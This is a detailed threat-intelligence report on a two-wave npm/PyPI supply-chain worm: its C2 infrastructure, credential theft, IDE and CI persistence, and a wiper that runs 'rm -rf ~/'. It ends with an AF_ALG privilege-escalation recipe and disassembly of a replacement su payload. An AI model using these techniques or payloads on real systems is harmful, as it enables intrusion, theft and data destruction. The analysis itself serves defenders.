TLP: WHITE - Unrestricted distribution
Disclaimer: All interaction with attacker-controlled infrastructure described in this post was strictly passive - read-only analysis of publicly accessible repositories and network probing for intelligence purposes only. No attacker systems were accessed, modified, or disrupted. Victim-identifying information (email addresses, employee names, and organizations that have not made their own public disclosure) has been generalized or omitted in compliance with GDPR obligations and responsible disclosure norms. Attacker-attributed email addresses and GitHub account identifiers are published as threat intelligence in the public interest.
1. The Full Picture
When we published our Wave 1 analysis on May 1, 2026, we described a supply chain attack that had compromised SAP's npm publishing pipeline, created 2,211 dead-drop repositories across compromised developer accounts, and exfiltrated 15.93 MB of encrypted credentials - all in a 7.5-hour window. Twelve days later, the same actor was back, wider in scope and more capable in every measurable dimension.
This post is the unified account of the Mini Shai-Hulud campaign from inception through Wave 2. Where our individual wave posts were written under time pressure against an active threat, this version assembles the complete forensic picture: both waves, the full timeline, every technique, every indicator, and everything we know about who is behind it.
The actor is TeamPCP. The campaign was active from at least March 2026 through the date of this publication. The total scope is 2,650 confirmed dead-drop repositories, 2,383 encrypted payload blobs, and 16+ MB of stolen credentials that the operator can decrypt at their convenience. A second malware tier - a compiled Rust binary with Tor C2, a Linux kernel privilege escalation exploit, a cryptominer, and build-file poisoning across six ecosystems - was discovered in Wave 2. That binary scored 1/75 on VirusTotal.
2. Campaign Overview
| Metric | Wave 1 | Wave 2 | Combined |
|---|---|---|---|
| Date | 2026-04-29 | 2026-05-11 | - |
| Ecosystem targeted | SAP Cloud MTA / CAP (npm) | TanStack, UiPath, MistralAI (npm + PyPI) | - |
| Entry vector | Compromised CI bot account | GitHub Actions cache poisoning + OIDC memory read | - |
| Dead-drop repos | 2,211 | 439+ (floor; bisecting pending) | 2,650+ |
| Encrypted payloads | 2,295 | 88 | 2,383 |
| Exfil volume | 15.93 MB | ~0.6 MB confirmed | ~16.5 MB |
| Exfil accounts used | 10 (all compromised victim developers) | 2 (compromised victim developers) | 12 |
| Campaign window | 7.5 hours hot; 35 hours long tail | Active as of May 13, 2026 | - |
| Payload decryptable? | No (RSA private key required) | No (same scheme) | All 2,383 blobs sealed |
| C2 channels | 1 (HTTPS typosquat domain) | 4 (HTTPS domain + direct IP + Session + Tor) | - |
| Rust binary tier | No | Yes (Sample A + Sample B) | - |
| VT detection (Rust binary) | N/A | 1/75 | - |
The PBKDF2-based string obfuscation salt changed between waves (ctf-scramble-v2 → svksjrhjkcejg). The RSA-4096 public key did not. That key - unchanged across all TeamPCP waves since at least March 2026 - is the single strongest pivot indicator for attribution and detection.
3. Data Harvesting
3.1 Wave 1 Corpus
We enumerated dead-drop repositories by searching on two canary strings: "A Mini Shai-Hulud has Appeared" and "Checkmarx Configuration Storage", supplemented with a commit search for "OhNoWhatsGoingOnWithGitHub". Initial enumeration recovered 1,004 repos; splitting the search by time windows to work around GitHub Search API limits revealed the true count: 2,211 repositories across 10 owner accounts. We cloned all repos and ingested the data into a forensic database for structured analysis.
Our Wave 1 forensic corpus - five tables covering accounts, repositories, payloads, commits, and employer attribution - recorded:
- 2,295 encrypted payload blobs across the 2,211 repos
- 15.93 MB total exfiltrated data (encrypted)
- 18 accounts classified: 1 confirmed attacker staging account, 4 compromised developer exfil accounts, 3 compromised SAP bot/maintainer accounts, the rest victim developers
Payload decryption was attempted using the PBKDF2-derived obfuscation key (fd4b0f07b27e8f41bc70b8e2b79d168fb3fe80d7e0b37f43c506136a3418b44d) identified in the malware source. It failed - that key is the string obfuscation cipher, not the payload encryption. All 2,295 blobs remain sealed behind the attacker's RSA-4096 private key.
Figure 1: Account role classification from the Wave 1 forensic database. The VICTIM_DEVELOPER accounts had GitHub OAuth tokens stolen from real developer machines and were used as unwitting exfil infrastructure by the malware.
One forensic bright spot: a commit message in the OhNoWhatsGoingOnWithGitHub format embedded a double-base64-encoded GitHub PAT. The double-base64 encoding is deliberate - GitHub's automated secret scanning revokes plaintext tokens; double-base64 sidesteps that detection. Reported to GitHub Security.
Independent researcher copyleftdev published their own dataset (copyleftdev/mini-shai-hulud-dragnet, CC-BY-4.0) which confirmed our findings and contributed additional SHA256 hashes and the Wave 1 master key (5012caa5847ae9261dfa16f91417042f367d6bed149c3b8af7a50b203a093007).
3.2 Wave 2 Corpus
We searched on "IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner" commit messages and the new canary description "Shai-Hulud: Here We Go Again", cloned all matching repositories, and ingested the data into a forensic database for structured analysis. We recovered 439+ dead-drop repositories across the two Wave 2 exfil accounts.
Our Wave 2 forensic corpus recorded 88 encrypted payload blobs. Encryption scheme unchanged from Wave 1 - all 88 blobs are sealed.
Figure 2: Dead-drop repository list from Wave 2 forensic enumeration. Descriptions "Shai-Hulud: Here We Go Again" and Dune-universe repo names (sayyadina-ornithopter-*, harkonnen-navigator-*, etc.) are visible across all 439+ entries.
Figure 3: Wave 2 payload blob table from the forensic database. Each row is one AES-256-GCM encrypted credential blob committed to a dead-drop repository. All 88 remain sealed behind the attacker's RSA-4096 private key.
3.3 The Open-Sourced Malware
In the Wave 2 repo set we found g00dfe11ow/Shai-Hulud-Open-Source: a complete TypeScript/Bun implementation of the malware, MIT-licensed, with a README. An identical fork exists at PedroTortoriello/Shai-Hulud-Open-Source - commit da10861592c3cfbc6cb61d83fe1da626968e3057 matches byte-for-byte in both, confirming a single operator. Every commit in the repo is dated January 1, 2099 - the attacker forward-dated their commits by 73 years to float the history to the top of chronological GitHub searches and defeat timeline-based forensic sorting.
Figure 4: g00dfe11ow/Shai-Hulud-Open-Source on GitHub. MIT-licensed, complete TypeScript/Bun implementation published by the attacker. README title: "Shai-Hulud: Open Sourcing The Carnage". Git committer identity is TeamPCP_OSS.
Figure 5: All three commits in the repo carry a January 1, 2099 timestamp - 73 years forward from today. The technique floats the repo to the top of GitHub's chronological search results and defeats timeline-based forensic sorting.
The source confirmed everything Wave 1 analysis inferred and provided source-level visibility into Wave 2's new capabilities, including the wiper logic, OIDC memory extraction, Sigstore provenance flow, and C2 rotation mechanism.
3.4 The Rust Binary Tier
Two typosquat packages - crypto-javascri (npm, targeting crypto-js) and cryptox (PyPI, targeting cryptography) - published by enge31 contained compiled Rust binaries at .claude/settings. Container-isolated static analysis (Kali Docker, network-disconnected) of both revealed a two-tier compiled capability set.
Sample A (SHA256: 461460c0c9745b70bd9617019d85efb1e61a143df2fd5e9cc9613b4f7e155fab) - unstripped development artifact, crate ss, modules ss::github and ss::npm. Limited to GitHub credential propagation and npm package attack. Not deployed to production victims.
Figure 6: enge31/crypto-js - the npm typosquat delivery repository. The .claude/ directory contains Sample A (the Rust binary). Commit author is spoofed as claude (claude@users.noreply.github.com). Commit messages ("minor refactor", "first commit") come from the attacker's eight-entry pool.
Sample B (SHA256: 511b039448227e48c14e715c3ff8ceaac82f7e4781df60e1c5f1eb79bba86e98) - stripped for production deployment, 6,619,600 bytes (6.3 MiB), dynamically linked against libsqlite3, libssl, libcrypto, and the Rust standard library. Full RAT: Tor v3 C2, XMRig cryptominer, build-system poisoning across 6 ecosystems, Linux kernel privilege escalation, cryptocurrency wallet theft. VirusTotal detection as of May 13, 2026: 1/75 - Microsoft ML engine only (Trojan:Script/Wacatac.B!ml). CrowdStrike, SentinelOne, Elastic, ESET, Kaspersky, Sophos, TrendMicro, BitDefender: all clean.
An unknown third party submitted Sample B to Hybrid Analysis on May 12, 2026 at 17:03:42 UTC - 24 hours before Crimson7's container-isolated analysis. The HA sandbox completed its report at 17:06:43 UTC (3 minutes after submission). Report: 6a035d6dc31146dc8f0a7645 Sandbox results confirmed: CrowdStrike Falcon sandbox: Clean (Static Analysis and ML); MetaDefender multi-scan: 2/26 malicious - giving a combined HA detection rate of 4% and the Trojan_Script_Wacatac_B_ml family label. CrowdStrike's own sandbox returning clean while their VirusTotal engine also returns clean is notable: Sample B evades both CrowdStrike's signature and ML models in a sandbox environment. One additional detail from HA's file typing: the binary is classified as MIME application/x-sharedlib rather than a standard ELF executable - a consequence of building as a position-independent executable (PIE), which makes the binary appear as a shared library to file-type detectors and may contribute to bypassing execution controls that gate on executable MIME type.
Figure 8a: Hybrid Analysis overview for Sample B (settings, SHA256: 511b039...). Submitted 2026-05-12 17:03:42 UTC by an unknown third party, one day before Crimson7's analysis. CrowdStrike Falcon sandbox returns Clean; MetaDefender multi-scan returns 2/26. Combined AV detection rate: 4%. Family label: Trojan_Script_Wacatac_B_ml. Full report
Crimson7 second submission - May 14, 2026 07:02:36 UTC. Crimson7 re-submitted Sample B to Hybrid Analysis on May 14 using the Heavy Anti-Evasion action script on a Linux Ubuntu 24.04 (64 bit) guest. Heavy Anti-Evasion instructs the Falcon Sandbox to apply aggressive countermeasures against VM-aware malware - patching CPUID responses, spoofing DMI/BIOS values, and manipulating timing signals. The result was markedly different from the May 12 submission: verdict: suspicious, Threat Score: 35/100, AV Detection: 7%, and a new family label of LINUX.Agent. The sandbox mapped 20 indicators to 17 ATT&CK techniques across 6 tactics. Critically, HA itself flagged a verdict mismatch: "This report's verdict does not match other analysis results for this SHA256. The report may be outdated." This banner confirms the May 12 (Clean) and May 14 (Suspicious) results are divergent - directly attributable to the standard sandbox being fooled by Sample B's environment detection, while the Heavy Anti-Evasion sandbox partially bypassed those guardrails and produced a detection signal.
Suspicious indicators surfaced by the Heavy Anti-Evasion run:
- Anti-Detection/Stealthiness: Binary might be packed - the Falcon Sandbox heuristic flagged the binary's PBKDF2-obfuscated string table and compressed Rust sections as potential packing. This is consistent with our static analysis finding that all sensitive strings are encrypted with compile-time PBKDF2 key derivation.
- Environment Awareness - additional indicators visible in the full report detail view (6 suspicious indicators total).
Figure 8c: Hybrid Analysis Falcon Sandbox report for Sample B submitted by Crimson7 on 2026-05-14 07:02:36 UTC using the Heavy Anti-Evasion action script (Ubuntu 24.04, 64-bit guest). Verdict: Suspicious. Threat Score: 35/100. AV Detection: 7%. Family label: LINUX.Agent. 20 indicators mapped to 17 ATT&CK techniques across 6 tactics. The verdict mismatch banner confirms the standard sandbox (May 12, Clean) was evaded while the anti-evasion run partially bypassed Sample B's environment detection. Full report
any.run sandbox analysis - May 14, 2026 08:46:52 UTC. Crimson7 submitted Sample B to any.run (report) on Ubuntu 22.04.2 with network enabled and run-as-root. Verdict: No threats detected. The binary itself never appeared as a monitored process - only the parent shell (/bin/sh -c "chmod +x ... && ./settings_malware") and chmod were captured, both exiting with code 256 (exit code 1). The settings_malware process launched, immediately fired the /usr/bin/udevadm DMI check (captured in the behavioral warning stream), detected the any.run VM environment, and self-terminated before any payload phase could execute. Zero connections to attacker C2 infrastructure. Zero file drops. Process tree terminated within seconds.
This is T1480 Execution Guardrails working exactly as designed. The binary successfully identified the sandbox at the DMI/BIOS profiling stage and exited cleanly - leaving any.run with nothing to analyze and returning a clean verdict. The any.run MIME classifier typed the binary as application/x-pie-executable - note the divergence from HA's application/x-sharedlib for the same SHA256; both confirm PIE ELF, different classifiers reach different labels.
Three-sandbox comparison.
| Sandbox | Date (UTC) | Config | Verdict | Binary executed? |
|---|---|---|---|---|
| HA Falcon (unknown party) | May 12, 17:03 | Standard | Clean - 4% AV | Yes - evaded fully |
| any.run | May 14, 08:46 | Standard + root | No threats | No - self-terminated on DMI check |
| HA Falcon (Crimson7) | May 14, 07:02 | Heavy Anti-Evasion | Suspicious - 35/100 | Partially - guardrails bypassed |
The pattern is unambiguous: standard sandboxes are defeated. Only aggressive anti-evasion tooling produces a detection signal. Defenders relying on default sandbox automation will receive clean verdicts for this sample.
Community activity - May 14, 2026. A Hybrid Analysis search for vxfamily:"Trojan_Script_Wacatac_B_ml" on May 14 returned 50+ samples, with at least 23 submitted in a concentrated burst on May 14 between 00:11 and 00:21 UTC. None of the 50 page-1 results match Sample B's SHA256 - HA classifies Sample B under a different internal family tag, and the Wacatac label it carries comes from the Microsoft ML detection forwarded from VirusTotal. The 50+ community submissions indicate the security research community is actively tracking and submitting samples from this family cluster independently of Crimson7's investigation.
Figure 8b: HA search results for vxfamily:"Trojan_Script_Wacatac_B_ml" as of May 14, 2026. Multiple ELF 64-bit samples submitted by different parties on May 13–14, all tagged "Asymmetrically linked" - consistent with PIE ELF binaries. Threat levels range from suspicious to malicious. The volume of independent community submissions confirms this family is under active broad investigation.
Compiler banner (from ELF .comment section): GCC 16.1.1, build date April 30, 2026, LLD 22.1.4 (LLVM commit eaab4d9841b9), Rust stdlib commit f964de49bcb561e5c6c725bb37201e11d852daf0. This April 30 build date - coupled with the January 2099 commit timestamps in the open-source repo - is the same anti-forensic pattern at two different layers.
Figure 7: enge31/cryptography file tree (PyPI typosquat targeting the cryptography package). The .claude/ directory contains settings (Sample B, the full Rust RAT) and settings.json. Root-level _buildutils.py and pyproject.toml are the Python build poisoning files. Commit message "fix edge case" is from the attacker's eight-entry random pool.
4. Infrastructure and C2 Evolution
4.1 Wave 1 Infrastructure
Wave 1 ran a single-domain exfil stack:
- Primary C2:
audit.checkmarx.cx(typosquat ofcheckmarx.com) - NXDOMAIN as of May 1, 2026 - Underlying server:
94.154.172.43(AS209101, IP Vendetta Inc., Amsterdam) - still live as of April 30 - Domain registered April 23, 2026 - six days before the campaign launched
The architecture deliberately separated data transit from the C2 endpoint. Victims only ever contacted github.com (standard HTTPS) to write dead-drop repos. The attacker-controlled collection accounts then pulled those repos and forwarded to audit.checkmarx.cx. Blocking the C2 domain would not have stopped a single byte leaving victim environments during the campaign window.
4.2 Prior TeamPCP Infrastructure (March–April 2026)
TeamPCP has been operating since at least March 2026, with a consistent C2 typosquatting pattern:
| Wave | Domain / IP | Notes |
|---|---|---|
| March 2026 | checkmarx[.]zone | KICS (Checkmarx IaC scanner) campaign |
| March 2026 | 83.142.209.11 | KICS / LiteLLM wave C2 |
| March 2026 | 83.142.209.203 | Telnyx PyPI wave C2 |
| March 2026 | scan.aquasecurtiy[.]org | Trivy wave C2 (typosquat of aquasecurity.com) |
| March 2026 | 45.148.10.212 | Trivy wave C2 |
| March 2026 | models.litellm[.]cloud | LiteLLM wave C2 |
| March 2026 | tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io | CanisterWorm ICP blockchain C2 - cannot be sinkholed |
| April 22–23 | Same RSA key | @bitwarden/cli@2026.4.0 - 93-minute dress rehearsal |
| April 23 | checkmarx[.]cx registered | Wave 1 preparation |
| April 28 | First dead-drop repo | Attacker pipeline test |
The ICP blockchain C2 - using Internet Computer Protocol as a command channel - is the most forward-looking element in the historical record. A domain cannot be seized if it does not exist. TeamPCP appears to have been experimenting with takedown-resistant infrastructure since March.
4.3 Wave 2 Infrastructure - Defense-in-Depth Exfil Stack
Wave 2 reflects a studied response to Wave 1's disruption. After checkmarx.cx was taken down, the attacker rebuilt with four parallel channels, each independent:
Channel 1 - HTTPS typosquat domain: git-tanstack.com, plausible enough that a developer might not notice it in proxy logs. Port 443, beacon format from TypeScript source's sender/domain/domainSenderFactory.ts.
Channel 2 - Direct IP: 83.142.209.194, used by the Python variant. Related domain api.masscan.cloud serves as an additional C2 endpoint.
Channel 3 - Session decentralized messenger: Exfil routes through filev2.getsession.org and seed nodes seed1-3.getsession.org. Session is an onion-routed decentralized protocol. There is no domain to seize, no server to take down. The attacker's Session recipient ID - 05f9e609d79eed391015e11380dee4b5c9ead0b6e2e7f0134e6e51767a87323026 - is the only stable identifier.
Channel 4 - Tor v3 hidden service (Rust binary only): 1cpur2zdsv762uzyoyzma6pvzz4a2xhv64zdouxpjlu3exyks7gh7leyd.onion, with clearnet fallbacks at 45.80.158.93 (ports 143 and 1438) and 86.14.169.71:443. Static analysis identified three additional clearnet IPs - 195.176.3.23, 23.108.55.71, 91.92.109.23 - appearing outside the Tor consensus context, suggesting direct fallback contacts. The binary carries approximately 100 hardcoded Tor relay entries via the embedded arti Rust Tor client.
The hidden service is hardened against two categories of Tor-level attack. Proof of Work (HiddenServiceProofOfWorkV1MaxEffort / PowParamsV1) requires clients to solve a compute puzzle before the introduction circuit is accepted, protecting against DDoS attacks on the rendezvous point. Vanguards (vanguards-hs-service, guard-hs-l2/l3 parameters) cycle the guard relays used by the hidden service on a schedule, preventing guard-discovery attacks that could deanonymize the C2 operator's server. Both strings appear verbatim in Sample B; neither appears in the embedded arti consensus blob, confirming they are explicit configuration directives compiled into the binary. Together they indicate an operator with enough Tor operational security knowledge to protect C2 availability and anonymity from active adversaries, not just passive observation.
C2 domain rotation: The TypeScript component searches GitHub for Ed25519-signed commits containing the string thebeautifulmarchoftime (trailing space is significant - distinguishes from thebeautifulsnadsoftime, the token recovery channel). The domain in the latest signed commit is used. Unsigned commits are rejected. This means C2 infrastructure can change silently without redeploying the malware.
5. The Attack Chain
5.1 Wave 1: Package Publication via Compromised CI Bot
The attacker gained access to CloudMTABot, the SAP CircleCI service account used to publish the mbt package to npm. On April 29 at 09:55 UTC, they published mbt@1.2.48 - a plausible increment on an actively maintained package. Three more packages followed within the hour, all sharing the same malicious setup.mjs loader. npm's postinstall hook fires on npm install with no user interaction required.
Simultaneously, gruposbftechrecruiter - the confirmed attacker staging account - opened draft PR #1223 against SAP/cloud-mta-build-tool titled "feat: ci speedup". This PR was designed to trigger the CircleCI pipeline and steal CLOUD_MTA_BOT_NPM_TOKEN - durable, legitimate publish rights that would not require maintaining access to a compromised account. They were planning the next campaign before the current one peaked.
5.2 Wave 1: Payload Delivery and Credential Harvest
setup.mjs drops and executes execution.js - 11.7 MB, heavily obfuscated (48,370 string-table entries, PBKDF2-derived keystream, Fisher-Yates shuffled XOR cipher). Its actions:
- Process memory scraping: a Python-based
/proc/memdumper captures credentials from running processes, including masked GitHub Actions secrets that never appear in CI logs - Credential file harvest: AWS credential files, SSH keys, shell history,
.envfiles, cloud provider config directories - 134+ targeted paths - Bitwarden CLI vault extraction: the simultaneously-published trojanized
@bitwarden/cli@2026.4.0(93 minutes live on April 22–23, same RSA key) enabled vault-level credential access on machines with Bitwarden CLI installed - CI/CD pipeline harvest: environment variable dumps from CI runners
- CIS kill switch:
Exiting as russian language detected!- the malware exits without executing if the runtime locale is Russian
5.3 Wave 1: GitHub Dead-Drop Exfiltration
The exfil flow does not touch the C2 server directly from the victim host. Each session's harvested data is compressed, encrypted under a fresh AES-256-GCM session key, and the session key is wrapped with the attacker's embedded RSA-4096 public key. This envelope is committed to a newly created repository on the victim's own GitHub account - the malware reuses the victim's own GitHub OAuth token to create repos it controls. Repository descriptions read "A Mini Shai-Hulud has Appeared" or "Checkmarx Configuration Storage". Repository names follow a Dune-universe word pair plus number: harkonnen-navigator-149, kralizec-sandworm-727, and 2,209 others.
Attacker-side, the GitHub OAuth tokens stolen from compromised developer accounts were used to enumerate and pull those dead-drop repos, then forward the blobs to audit.checkmarx.cx. Subsequent commit metadata analysis confirmed these accounts are compromised victim developers, not attacker-created identities. Their identities are withheld per GDPR.
5.4 Wave 1: IDE and CI Persistence
The malware installs three persistence hooks:
.claude/settings.json- hooks the Claude CodeSessionStartevent; re-executesexecution.json every new AI coding session on the affected machine.vscode/tasks.json-folderOpentask; re-executesexecution.jswhen VS Code opens any project folder.github/workflows/format-check.yml- injected CI workflow; re-runs the harvester in the CI runner on every push, capturing secrets that may differ from the developer's local environment
The IDE persistence paths are particularly insidious: they target the two most common development environments, and most EDR rules have no coverage for .claude/settings.json or .vscode/tasks.json as execution vectors.
Wave 2 extends the Claude hook independently in the Rust binary. Sample B carries the string hooksSessionStartmatcher./settings verbatim. This is a settings.json hook configuration fragment pointing to .claude/settings - the Rust binary's own self-install path. The TypeScript Wave 1 component and the compiled Wave 2 Rust binary both implement Claude Code SessionStart persistence independently, confirming it is a deliberate design pattern across the toolchain rather than a copied artifact. Binary-level detection: the concatenated string hooksSessionStartmatcher./settings has zero legitimate uses.
5.5 Wave 2: GitHub Actions Cache Poisoning
Wave 2 introduced a technique that does not require a developer to run npm install at all.
The attacker forked TanStack/router, renamed the fork zblgg/configuration, and opened a pull request against the upstream repository. The TanStack router CI uses a pull_request_target workflow trigger, which - by design - runs with the repository's full write permissions even when the PR originates from an external fork. The attacker's code ran in that privileged context and poisoned the shared pnpm store cache. Subsequent legitimate builds by real TanStack developers pulled the poisoned cache and executed attacker binaries. The initial access was a single PR opened by voicproducoes on May 10; the infection vector then ran independently of any further attacker action.
voicproducoes is a cross-wave actor: the same account holds a Wave 1 dead-drop repository (voicproducoes/tleilaxu-ornithopter-43), confirming operational continuity between campaigns.
5.6 Wave 2: OIDC Token Extraction from Process Memory
Wave 1's credential harvesting relied on credential files and environment variables. Wave 2 added a technique that bypasses both.
GitHub Actions OIDC tokens are held in .NET runtime memory in the GitHub Actions Runner.Worker process. They are never written to disk. They never appear in CI logs. They are designed to be invisible to file-based scanners. The Wave 2 malware uses a Python stager (PYTHON_LOADER.py) to read the Runner.Worker process memory via /proc/<pid>/mem, locate the OIDC token by pattern, and extract it.
An OIDC token can be exchanged for npm publish credentials without possessing any stored secret. The worm validates scope (login, repo access, org membership, write permissions) before activating, to minimize failed attempts that could alert. It then republishes to every npm registry the victim has write access to.
This is why the Wave 1 detection approach - scan for .npmrc token theft - completely misses Wave 2. There is no .npmrc read. There is a memory read of a process that looks entirely legitimate.
5.7 Wave 2: Sigstore SLSA v1 Provenance Forgery
The worm-published packages include valid Sigstore-signed SLSA v1 provenance attestations. The packages pass npm audit signatures. This is not a bypass - the attacker satisfies the check legitimately, because they are publishing through a GitHub Actions OIDC flow that Sigstore accepts as a trusted build environment. The worm uses the same extracted OIDC token to both publish the package and generate the provenance attestation.
The consequence: defenders who implemented npm provenance verification as a supply chain control will see a green checkmark on infected packages. npm audit signatures verifies the publish pipeline, not the intent of whoever controls it. If the CI environment is compromised before the package is published, the provenance is genuine and the package is malicious simultaneously.
5.8 Wave 2: Injected GitHub Actions Workflow
Using the victim's stolen GitHub token, the malware injects .github/workflows/codeql_analysis.yml into victim repositories. Commit author is spoofed as github-advanced-security[bot] - a name chosen specifically because real CodeQL workflows authored by that account are commonplace. The injected workflow calls toJSON(secrets) - a built-in GitHub Actions function that serializes all workflow secrets to JSON - and writes the output for exfiltration. After execution, the workflow deletes both the run logs and the branch. From the GitHub audit log, it looks like a routine security scan.
5.9 Wave 2: Self-Propagating Worm
Once in possession of an npm OIDC-derived token, the malware propagates:
- Enumerate all packages the victim can publish to
- Download the current published version
- Inject the payload (
setup.mjs/router_init.js) - Republish under a higher version number
- Each newly infected package repeats the cycle for its own installers downstream
The worm preferentially targets bypass_2fa npm token scopes - tokens that allow publishing on accounts with 2FA enforcement, making revocation the only reliable remediation. The string bypass_2fa appears verbatim in Sample B's binary, concatenated with the preinstall hook path, confirming this is an explicit capability. Separately, the mutator/branch/index.ts TypeScript module pushes five files - including README.md, package.json, and CI workflow files - to every branch of every accessible repository using the GitHub GraphQL createCommitOnBranch mutation. This uses existing push rights and does not trigger branch protection alerts in most configurations.
The worm spread to @tanstack/* (42 packages, 84 versions), @uipath/* (60–70 packages), @squawk/*, @mistralai/mistralai, guardrails-ai, mistralai==2.4.6 (PyPI), and dozens of others - 170+ npm packages total, 373 malicious versions.
5.10 Wave 2: The Wiper and Deadman Switch
The commit message IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner is not a bluff.
The malware installs a daemon named gh-token-monitor as a macOS LaunchAgent (~/Library/LaunchAgents/com.user.gh-token-monitor.plist) or Linux systemd user service (~/.config/systemd/user/gh-token-monitor.service). Every 60 seconds the daemon validates the stolen GitHub OAuth token against the GitHub API. If it receives HTTP 4xx - token revoked - it executes rm -rf ~/.
The installTokenMonitor() function in the open-sourced sender/github/githubSender.ts shows the implementation: the daemon binary is written to disk via stdin (avoiding command-line argument logging), then enabled via launchctl load or systemctl --user enable. The wiper handler is three characters: rm -rf ~/.
⚠ Critical containment rule: Do not revoke any stolen GitHub tokens until you have confirmed the daemon is removed from every affected host. The safe order is: (1) enumerate gh-token-monitor instances (W2-Q4), (2) remove the daemon from all hosts via live response or endpoint management, (3) remove .claude/ and .vscode/ persistence, (4) then revoke tokens. Reversing those steps wipes the host.
Figure 8: Commit bf6efed in a Gimpy9587 dead-drop repository. The commit message encodes the wiper threat concatenated with a base64-encoded GitHub OAuth token (WjJodlh6bDZha1E1Y0V4UlVWWTBZ*********Qz0=). Commit author is spoofed as claude. Zero files changed - the commit exists solely as a data carrier for the embedded token.
Two stolen wiper-threat tokens are embedded in Wave 2 dead-drop commit messages. Revocation coordination with GitHub Security must happen only after the daemon is confirmed removed from all victim machines.
5.11 Wave 2: Build System Poisoning (Rust Binary - Sample B)
Sample B does something the TypeScript component does not: it permanently poisons build files in every repository the victim can push to. Using the GitHub Git Data API directly (not git CLI - stealthier, no process artifacts), it commits modified build files to every accessible branch of every accessible repository. All poisoned files carry the same payload: execute .claude/settings, the binary's self-install path.
Six build ecosystems are targeted:
| File | Ecosystem | Trigger |
|---|---|---|
build.rs | Rust/Cargo | Every cargo build |
setup.py | Python | pip install -e . |
pyproject.toml | Python | Custom _buildutils build backend |
CMakeLists.txt | C/C++ via CMake | execute_process(COMMAND ".claude/settings") |
conanfile.py | Conan C/C++ | Package build hook |
portfile.cmake | vcpkg | Port install hook |
The build poisoning commit messages are chosen randomly from an eight-entry pool found verbatim in the binary: "update dependencies", "bump version", "minor refactor", "cleanup dead code", "fix formatting", "update README", "fix lint warnings", "fix edge case". Commit author is always claude@users.noreply.github.com - a GitHub bot account named claude.
A developer who clones an infected repository and runs any build - weeks or months from now, with no active campaign infrastructure - executes Sample B. This is the long-tail threat: the TypeScript worm requires live C2; the build file poisoning does not.
5.12 Wave 2: XMRig Cryptominer (Rust Binary - Sample B)
After establishing Tor C2 connectivity, Sample B receives a hbresp miner_config heartbeat response carrying an XMRig configuration blob. The full struct, recovered from binary panic strings, has eight fields:
| Field | Description |
|---|---|
campaign_id | Per-campaign tag; victims from the same wave share an ID |
payout | Accumulated per-victim Monero payout tracked by operator |
cpu_percentage | XMRig CPU usage cap, injected as XM_MAX_THREADS_HINT |
login | Mining pool username |
miner | XMRig binary path or config identifier |
collected | Boolean gate: marks victim as credential-collected |
histogram | Mining yield distribution data returned to operator |
metadata_endpoint | URL for victim metadata reporting, distinct from the main heartbeat |
Environment variables XM_POOL, XM_ADDRESS, XM_MAX_THREADS_HINT are set from the response and XMRig is spawned as a subprocess via posix_spawnp. A watchdog restarts it on crash.
The Monero wallet address is not hardcoded in the binary. It is injected at runtime via XM_ADDRESS from the C2 heartbeat response - no static wallet IOC can be extracted. The collected field suggests the operator pipeline gates miner deployment on successful credential exfiltration - machines that have not yet returned credentials may not receive an XMRig configuration at all. The metadata_endpoint field, separate from the Tor C2, points to an additional reporting channel for victim profiling data. This is active financial management with per-victim yield accounting, not background resource theft.
5.13 Wave 2: Runtime Evasion (Rust Binary - Sample B)
Four ELF syscall imports explain the 1/75 VT detection rate in combination with compile-time obfuscation:
memfd_create - anonymous memory-backed file descriptor with no filesystem entry. Secondary payloads (miner updates, new modules) are fetched and executed entirely in memory, leaving nothing on disk for forensic tools.
utimensat - file timestamp manipulation. After self-install, the binary resets its own mtime to blend with surrounding files. The operator log string [+] Timestomp successful confirms this is an instrumented, verified step in the deployment sequence - not a best-effort attempt. File integrity monitoring that checks only mtime is blind to this; hash-based monitoring is required.
prctl - process name manipulation. The binary replaces its /proc/<pid>/comm entry with the exact string kworker/0:1-events - a deliberate choice. kworker/0:1-events is a real kernel worker thread format; legitimate instances appear in every Linux system's ps output. Combined with daemonization, the malware process is indistinguishable from kernel bookkeeping at a glance. The hardcoded name was extracted from binary offset 268,529 during static analysis.
fork + setsid + dup2 + chdir - Unix double-fork daemonization. The binary detaches from its parent, creates a new session, redirects file descriptors, and changes working directory to /. It survives terminal closure, parent death, and SIGHUP.
Together: no recognizable strings (obfuscated), no static markers (stripped), runs nameless, leaves no disk artifacts from secondary payloads, manipulates own timestamps. Everything else was blind. Behavioral detections - .claude/settings execution, memfd_create from unexpected processes, /usr/bin/su modification - are the only reliable signals.
5.14 Wave 2: Linux Privilege Escalation Module (Rust Binary - Sample B)
This capability was not documented in any prior analysis. It was discovered during container-isolated static reverse engineering and was confirmed from binary string analysis.
Sample B embeds a hex-encoded Python script that activates when getresuid() returns a non-zero effective UID - i.e., when the binary is not running as root. The script implements a kernel AF_ALG socket exploitation technique:
- Opens
/usr/bin/suas a read-only file descriptor - Creates an
AF_ALGsocket (type 38) bound to cipherauthencesn(hmac(sha256),cbc(aes)) - Sets the cipher key and AEAD auth size via
ALG_SET_KEY/ALG_SET_AEAD_AUTHSIZEonSOL_ALG - Uses
splice()to transfer the inner payload through the kernel crypto processing path into the read-only su file descriptor - bypassing normal write protections - Inner payload: a zlib-compressed 218-byte ELF binary that replaces
/usr/bin/suon disk
We extracted and decompressed the inner payload. Disassembly of its 98-byte code section reveals exactly what the replacement su does:
xor eax, eax
xor edi, edi
mov al, 0x69 ; syscall 105
syscall ; setuid(0) - become root unconditionally
mov rbx, [rsp+0x10] ; save argv[1] - the command passed to su
... ; build argv = ["/bin/sh", "-c", <argv[1]>]
mov rdi, "/bin/sh"
push 0x3b
pop rax
syscall ; execve("/bin/sh", ["/bin/sh", "-c", cmd], NULL)
xor edi, edi
push 0x3c
pop rax
syscall ; exit(0)
Two syscalls. No SUID check. No password prompt. The patched /usr/bin/su calls setuid(0) unconditionally, then passes its argument directly to /bin/sh -c as root.
This makes the impact significantly worse than a one-time privilege escalation. The patched binary stays on disk. Every future invocation of su <command> by any user on the system - including legitimate administrator use - executes that command as root with no authentication. It is a persistent rootkit that survives reboots and session changes until the package manager replaces /usr/bin/su with a clean version.
The execution chain string python3-csuwhoami confirms the verification step: after writing the patch, the malware runs su whoami and checks for the string root in the output to confirm the escalation succeeded before proceeding.
This technique is conceptually related to CVE-2022-0847 (Dirty Pipe) but implemented via the AF_ALG write-through path rather than the pipe page-cache splice path. It does not require a specific unpatched kernel version in the way Dirty Pipe did - the AF_ALG approach has broader applicability.
